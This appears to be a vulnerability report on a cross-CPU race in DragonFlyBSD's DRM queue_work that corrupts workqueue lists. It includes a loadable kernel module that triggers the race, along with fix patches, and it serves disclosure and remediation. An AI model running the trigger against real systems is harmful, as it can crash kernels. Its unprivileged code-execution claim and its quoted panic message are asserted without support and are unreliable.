• File: sys/dev/drm/linux_workqueue.c
• Lines: 119–149 (queue_work), 73–98 (in-flight process_all_work)
• Severity: Medium
• CVSS 3.1: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
• CWE: CWE-362 Concurrent Execution Using Shared Resource with Improper Synchronization (Race Condition), CWE-662
• Confidence: likely
• Status: new

Summary

On multi-CPU bound workqueues (num_workers == ncpus), queue_work selects the worker based on mycpuid (line 130) and takes THAT worker's lock. But the work_struct's on_queue, running, worker, and canceled fields are also read/written by whatever OTHER worker currently owns the work — under that other worker's lock. There is no single lock that consistently protects the work_struct's state.

Concurrent queue_work calls for the same work_struct from different CPUs each take their own CPU's worker lock and can both observe on_queue==false, both insert the work into different workers' STAILQ lists, corrupting the shared ws_entries pointer and producing cross-list pointer following that dereferences garbage memory.

Root cause

queue_work (linux_workqueue.c:129-146):

if (wq->num_workers > 1)
    worker = &(*wq->workers)[mycpuid];   /* worker = THIS CPU's worker */
else
    worker = &(*wq->workers)[0];

lockmgr(&worker->worker_lock, LK_EXCLUSIVE);   /* take THIS worker's lock */
work->canceled = false;                        /* write to shared work_struct */
if (work->on_queue == false || work->running == false) {
    if (work->on_queue == false) {
        STAILQ_INSERT_TAIL(&worker->ws_list_head, work, ws_entries);
        work->on_queue = true;                 /* write shared */
        work->worker = worker;                 /* write shared */
        wakeup_one(worker);
    }
    ret = true;
}
lockmgr(&worker->worker_lock, LK_RELEASE);

The lock protects THIS worker's ws_list_head, but the reads/writes to work->on_queue, work->running, work->worker, work->canceled are racy if the work is owned by or being processed on a DIFFERENT worker.

The owning worker takes ITS lock (a different lock) when modifying these fields in process_all_work (lines 74, 87, 93, 94, 96).

There is no global lock per work_struct.

Race scenario

CPU 0 and CPU 1 concurrently call queue_work(wq, W) on a bound multi-CPU workqueue:

1. CPU 0: worker0 = &workers[0]. Takes worker0->lock. Reads on_queue=false. Inserts W into worker0's list.
2. CPU 1: worker1 = &workers[1]. Takes worker1->lock (different lock, not mutually exclusive with worker0->lock). Reads on_queue=false (racy, stale observation before CPU 0's store is visible). Inserts W into worker1's list.
3. Result: W is in BOTH worker0's and worker1's STAILQ. W->ws_entries.stqe_next is shared between two independent lists.

When additional works W2, W3 are queued to worker0 after W, W->ws_entries.stqe_next points into worker0's list chain. worker1, when iterating its list past W, follows W->ws_entries.stqe_next into worker0's list, processing worker0's works on worker1's thread.

The stqh_last tail pointers diverge, and STAILQ_INSERT_TAIL on either worker writes through a corrupted stqh_last, corrupting arbitrary kernel memory.

Threat model

On any multi-CPU DragonFlyBSD system (essentially all modern systems), any DRM work that can be queued from more than one execution context is vulnerable.

Realistic trigger: an interrupt handler (HPD, vblank) on one CPU and a process-context ioctl on another CPU both call queue_work on the same work_struct.

The resulting STAILQ corruption causes worker threads to follow garbage pointers, interpreting arbitrary kernel memory as work_struct objects and calling their ->func pointer — achieving arbitrary kernel code execution from an unprivileged user who can trigger the race.

This is a classic list-corruption-to-code-execution primitive.

Proof of concept

/* wqrace.c
 * Build: cc -DKERNEL -c wqrace.c &&
 *        ld -d -T /usr/lib/ldscripts/kld.x -o wqrace.ko wqrace.o
 * Run:   kldload ./wqrace.ko
 */
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/thread.h>
#include <drm/drmP.h>
#include <linux/workqueue.h>

static struct workqueue_struct *race_wq;
static struct work_struct race_work;
static volatile int start_race;

static void race_cb(struct work_struct *work)
{
    /* If we get here twice from different workers, the race succeeded */
    kprintf("race_cb executed on cpu %d\n", mycpuid);
}

static void racer(void *arg)
{
    while (!start_race)
        lwkt_yield();
    queue_work(race_wq, &race_work);  /* all racers queue the SAME work */
    lwkt_exit();
}

static int race_load(struct module *m, int cmd, void *arg)
{
    if (cmd != MOD_LOAD) return 0;
    race_wq = alloc_workqueue("race", 0, 0);  /* bound: num_workers = ncpus */
    INIT_WORK(&race_work, race_cb);
    /* Spawn a racer thread on each CPU, all targeting the same work */
    for (int i = 0; i < ncpus; i++)
        lwkt_create(racer, NULL, NULL, NULL, TDF_NOSTART, i, "racer/%d", i);
    start_race = 1;
    tsleep(&race_load, 0, "race", hz * 5);
    return 0;
}
DEV_MODULE(wqrace, race_load, NULL);

Build and run: kldload ./wqrace.ko. With other works concurrently queued, observe either: double-execution of race_cb, kernel panic from list corruption ("panic: fstq_soable: remove-after-free" or similar STAILQ corruption assertion), or arbitrary memory access.

Success criterion: kernel panic with STAILQ/list corruption signature, or double execution of race_cb from different CPU workers.

Under heap grooming with additional works on the queues, the corrupted stqh_last tail pointer can be steered to overwrite a controlled kernel address.

Recommended fix

Add a per-work_struct spinlock, or use the owning worker's lock consistently. The simplest correct fix: hold the owning worker's lock when checking/setting on_queue, or use a dedicated spinlock on the work_struct itself:

--- a/sys/dev/drm/include/linux/workqueue.h
+++ b/sys/dev/drm/include/linux/workqueue.h
@@ -45,6 +45,7 @@ struct work_struct {
    STAILQ_ENTRY(work_struct) ws_entries;
    void    (*func)(struct work_struct *);
    struct workqueue_worker *worker;
+   struct spinlock work_lock;  /* protects on_queue, running, worker, canceled */
    bool    on_queue;
    bool    running;
    bool    canceled;
 };

Then in queue_work, process_all_work, _cancel_work: take work->work_lock around all reads/writes of on_queue/running/worker/canceled.

Alternatively, for a smaller fix, change queue_work to atomically test-and-set on_queue using atomic_cmpset before insertion, preventing double-insertion regardless of which worker's lock is held.

Minimal-correctness fix (trades concurrency for correctness): make all bound workqueues use worker[0] only (serialize all queue_work calls through one lock):

 int
 queue_work(struct workqueue_struct *wq, struct work_struct *work)
 {
-    struct workqueue_worker *worker;
+    struct workqueue_worker *worker = &(*wq->workers)[0];
     int ret = false;
     if (wq->is_draining)
         return false;
-    if (wq->num_workers > 1)
-        worker = &(*wq->workers)[mycpuid];
-    else
-        worker = &(*wq->workers)[0];

References

• sys/dev/drm/linux_workqueue.c:129-146 — queue_work cross-CPU race window
• sys/dev/drm/linux_workqueue.c:73-98 — process_all_work writes shared fields under owning worker's lock
• sys/dev/drm/include/linux/workqueue.h:43-50 — struct work_struct has no per-work lock
• sys/sys/_spinq.h (STAILQ) — stqe_next shared corruption primitive